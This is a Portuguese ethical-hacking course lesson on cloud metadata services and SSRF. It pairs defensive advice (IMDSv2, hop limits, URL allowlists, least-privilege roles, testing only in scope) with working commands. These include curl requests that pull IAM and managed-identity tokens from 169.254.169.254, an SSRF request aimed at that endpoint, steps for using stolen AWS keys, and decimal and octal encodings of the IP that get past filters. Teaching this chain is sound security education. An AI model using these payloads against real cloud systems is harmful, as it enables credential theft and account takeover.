Metadados e SSRF
Ataques específicos da nuvem
Metadados e SSRF é uma aula grátis de Ethical Hacking Academy no CoddyKit. Esta é a aula 4 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de Ethical Hacking Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de Ethical Hacking Academy inclui 4 aulas no total.
O Serviço de Metadados da Instância
Toda VM na nuvem pode consultar um endpoint interno especial para obter informações sobre si mesma: o Instance Metadata Service (IMDS). O que é especialmente importante é que ele também pode fornecer as credenciais temporárias da função associada à instância.
- AWS / GCP / Azure expõem metadados em
169.254.169.254 - Ele só pode ser acessado de dentro da instância
- Não exige autenticação dos processos locais
Essa conveniência se torna uma arma quando combinada com SSRF.
Lendo Metadados da AWS (IMDSv1)
No legado IMDSv1, uma única solicitação GET retorna metadados, incluindo as credenciais da função. Nenhum token é necessário.
É exatamente isso que torna o IMDSv1 perigoso quando um app tem SSRF.
# List roles attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Retrieve the temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-roleO que é SSRF
Server-Side Request Forgery (SSRF) é uma vulnerabilidade na qual um invasor engana um servidor para que ele faça solicitações HTTP em seu nome. O servidor se torna um proxy para locais que o invasor não consegue alcançar diretamente.
- Um parâmetro de URL que o servidor busca
- Um webhook, gerador de PDF ou recurso de redimensionamento de imagens
- Qualquer recurso que aceite uma URL fornecida pelo usuário
O alvo clássico de SSRF na nuvem é o endpoint de metadados.
SSRF Encontra os Metadados
A combinação perigosa é esta: um app com SSRF permite que o invasor aponte o servidor para 169.254.169.254. O servidor busca as credenciais IAM da instância e as devolve.
Agora o invasor possui credenciais da nuvem, muitas vezes o início do controle total da conta.
# Vulnerable endpoint fetches any URL the user supplies
GET /fetch?url=http://example.com/image.png
# Attacker redirects it to the metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-roleUsando Credenciais Roubadas
A resposta dos metadados contém uma chave de acesso, uma chave secreta e um token de sessão. O invasor as exporta e passa imediatamente a agir como a função da instância.
A partir daí, ele enumera as permissões e procura caminhos para escalada.
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Confirm the stolen identity
aws sts get-caller-identityIMDSv2 como Defesa
AWS introduziu o IMDSv2 para reduzir o impacto de SSRF. Ele exige primeiro um token de sessão obtido por meio de uma solicitação HTTP PUT, algo que a maioria dos mecanismos de SSRF não consegue realizar (eles fazem apenas GET).
Exigir IMDSv2 e definir um limite baixo de saltos reduz drasticamente o roubo de metadados por meio de SSRF.
# IMDSv2: first PUT to get a session token
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')
# Then GET using that token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/Metadados do Azure e do GCP
Os outros provedores também expõem metadados, com suas próprias particularidades. Ambos exigem um cabeçalho especial, o que por si só já é uma pequena mitigação contra SSRF.
- Azure exige
Metadata: true - GCP exige
Metadata-Flavor: Google
# Azure: fetch a managed-identity access token
curl -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
# GCP: fetch a service-account token
curl -H 'Metadata-Flavor: Google' \
'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'Técnicas de Bypass de SSRF
Os defensores costumam bloquear 169.254.169.254. Os invasores contornam filtros ingênuos usando codificações alternativas de IP e redirecionamentos.
- IP decimal:
2852039166 - Codificações octais/hexadecimais do mesmo endereço
- Rebinding de DNS para um nome que resolve para o IP dos metadados
- Redirecionamentos abertos que encaminham a solicitação para a URL de metadados
Defesas robustas devem validar o IP resolvido, não a cadeia de caracteres bruta.
# The metadata IP in alternate notations (all 169.254.169.254)
http://2852039166/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/Outros Alvos de SSRF
Os metadados são o alvo principal, mas SSRF alcança mais recursos internos:
- Painéis e consoles administrativos internos vinculados ao localhost
- Bancos de dados e caches internos (Redis, Elasticsearch)
- Servidor de API do Kubernetes e endpoints do kubelet
- Outros microsserviços não expostos externamente
SSRF efetivamente perfura o perímetro da rede a partir de um ponto de observação confiável.
Defendendo-se contra a Cadeia
Romper a cadeia de SSRF até os metadados exige uma defesa em camadas:
- Exija IMDSv2 e defina o limite de saltos dos metadados como 1
- Valide as URLs de saída e mantenha uma lista de permissões nos recursos de busca
- Bloqueie solicitações para intervalos de IP locais ao enlace e privados após a resolução de DNS
- Aplique o princípio do menor privilégio às funções das instâncias, para limitar as credenciais roubadas
Funções com o menor privilégio garantem que até mesmo um roubo bem-sucedido cause pouco impacto.
Teste Apenas o que Você Está Autorizado a Testar
Os testes de SSRF podem alcançar sistemas internos sensíveis por natureza. Seja disciplinado:
- Confirme se o host-alvo e a conta da nuvem estão dentro do escopo
- Não avance para sistemas fora do escopo do trabalho
- Pare e comunique o resultado assim que comprovar o acesso às credenciais
Alcançar os metadados tem alto impacto; demonstre isso com cuidado e não faça uso indiscriminado das chaves roubadas.
Verificação Rápida
Por que exigir IMDSv2 ajuda a defender contra o roubo de credenciais baseado em SSRF?
Recapitulação: Metadados e SSRF
Você aprendeu a cadeia de ataque específica da nuvem com maior impacto.
- O serviço de metadados em 169.254.169.254 fornece as credenciais da função da instância
- SSRF permite que um invasor faça o servidor buscar esse endpoint
- Credenciais temporárias roubadas permitem assumir o controle da conta
- IMDSv2 bloqueia a maioria dos ataques de SSRF ao exigir um token baseado em PUT
- Defenda-se usando listas de permissões de URLs, validação de IP e funções com o menor privilégio
Isso conclui o Pentest de Nuvem. Próximo curso: Caça a Recompensas por Bugs.
Aprenda Ethical Hacking Academy com um tutor de IA — grátis
Escreva e execute código real no seu navegador, obtenha ajuda instantânea de um tutor de IA 24/7 e continue de onde parou na web ou no app.
- Cursos
- 31
- Aulas
- 111
Perguntas Frequentes
A aula “Metadados e SSRF” é grátis?
Sim — o texto completo de “Metadados e SSRF” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de Ethical Hacking Academy, atualize para CoddyKit PRO. O curso de Ethical Hacking Academy inclui 4 aulas no total.
O que vou aprender em “Metadados e SSRF”?
Ataques específicos da nuvem Você pratica Ethical Hacking Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.
Preciso ter experiência prévia para começar Ethical Hacking Academy?
Nenhuma experiência prévia é necessária. Ethical Hacking Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 4 de 4.
Quanto tempo leva a aula “Metadados e SSRF”?
A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.
Posso escrever e executar código nesta aula de Ethical Hacking Academy?
Sim. Cada aula de Ethical Hacking Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.
Todas as aulas deste curso
- Superfície de ataque na nuvem
- Configurações incorretas de IAM
- Exposição de S3 e armazenamento
- Metadados e SSRF